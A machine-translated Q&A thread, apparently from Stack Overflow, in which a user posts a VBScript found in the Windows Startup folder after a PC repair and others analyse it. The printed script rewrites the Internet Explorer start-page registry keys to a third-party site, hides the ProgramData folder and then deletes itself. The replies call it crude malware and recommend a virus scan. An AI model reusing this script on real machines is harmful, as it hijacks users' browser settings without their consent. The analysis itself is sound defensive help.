Vbscript 这个名为uh.vbs的Visual Basic Sript做什么？

不久前，我把电脑送去做一些非保修工作（BIOS无法识别我的一个硬盘托架），当它带着新的硬盘板回来时，我在重新启动时遇到了一个奇怪的错误

最后，我发现Windows启动文件夹中有一个新文件，名为“uh.vbs”，在启动时运行时出错。不知道任何关于vbs的事情，我不知道这个文件是做什么的，除了它是在我的电脑在修理厂时创建或修改的。我注意到它指向了几个网页，并且有一些中文字符，所以我希望这个网站上的一位经验丰富的人能告诉我。下面是代码

编辑：我不得不拿出一大堆，因为一个奇怪的错误显然是由汉字引起的，这个错误没有被网站识别出来，我花了半个小时才最终弄明白。我删除了那些看起来像中国人的字符，把丢失的中文证书放在我拿出来的地方

On Error Resume Next
set lhwy=createobject("wscript.shell")

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")

WScript.Sleep(30000)

set lhwy=createobject("wscript.shell")
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")


Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0

Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
  fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if


Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if

Wscript.quitPAPK

---

感谢您的支持。

这似乎是一个相对较差的恶意软件尝试

此位正在尝试将IE起始页设置为

http://home.yy8000.com/

-

path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")
set path=nothing
path="HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\Internet Explorer\Main\Start Page"
tf=lhwy.regwrite(path,"http://home.yy8000.com/")

然后下一位等待30秒，然后再次执行（编写者可能认为在脚本首次运行时注册表可能无法访问）

下一位有点奇怪，它隐藏了

ProgramData

文件夹（在大多数情况下都会隐藏）-

带有不寻常字符的部分只需删除脚本，一旦脚本完成，就会造成“损害”

我的怀疑是，维修人员将一个U盘插入到您的计算机中，而您的计算机此前已插入另一次维修。该文件已自动复制到USB上，然后在他们插入时复制到您的计算机上

删除该文件并进行病毒检查。恶意软件的尝试非常糟糕，这个简单的脚本可能隐藏了一个更大的问题。我以前见过这样的脚本，其中有另一个进程正在运行，创建脚本文件（可能是在关机期间）

---

如果您在将电脑送去保修之前没有安装病毒检测程序，请查看卡巴斯基的live CD。

有人知道我如何用中文文本发布缺失的行吗？您能不能将它们放入

块中？如果它看起来像“中文”，那么它可能在某种程度上被加密或混淆了。@lankymart你可能是对的。我只是用纯文本替换了看起来像中文的字符，然后把代码行放回原处。我注意到一些字符是路径的一部分…我只是在行中添加了看起来像中文的字符，并在它们的位置添加了纯文本，以便我可以发布它。看起来确实很阴暗。我很难相信修复技术人员会无知到意外地插入受感染的硬件，但我希望这也不是故意的。这件事发生已经一周了，我一直在进行正常的病毒扫描。没有什么不同寻常的事情发生up@omaxio我发现更容易相信修复技术在安全程序上有点松懈，而不是他们故意感染正在修复的个人电脑。也可能是因为你以前下载的东西只有在电脑维修时才会激活。我已经更新了我的答案，以反映中文字符部分，并建议进行完整的系统病毒扫描，只是为了确定。谢谢John。是的，那是真的：它以前可能在那里，但只有在修理后才被发现。不管怎样，文件都消失了，病毒和恶意软件扫描也恢复正常。干杯

Dim objws,objfso,dn
Set objws=WScript.CreateObject("wscript.shell")
Set objfso=CreateObject("scripting.filesystemobject")
dn=objfso.GetDriveName(WScript.ScriptFullName)
objws.run "attrib +h " & dn & "\ProgramData",0

Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 3000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") Then
  fso.DeleteFile("\Documents and Settings\All Users\「MISSING_CHINESE_CHARACTERS\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if


Set fso = CreateObject("Scripting.FileSystemObject")
WScript.Sleep 1000 'MISSING_CHINESE_CHARACTERS
fso.DeleteFile(WScript.ScriptName) 'MISSING_CHINESE_CHARACTERS
If fso.FileExists("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") Then
fso.DeleteFile("\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\uh.VBS") 'MISSING_CHINESE_CHARACTERS
end if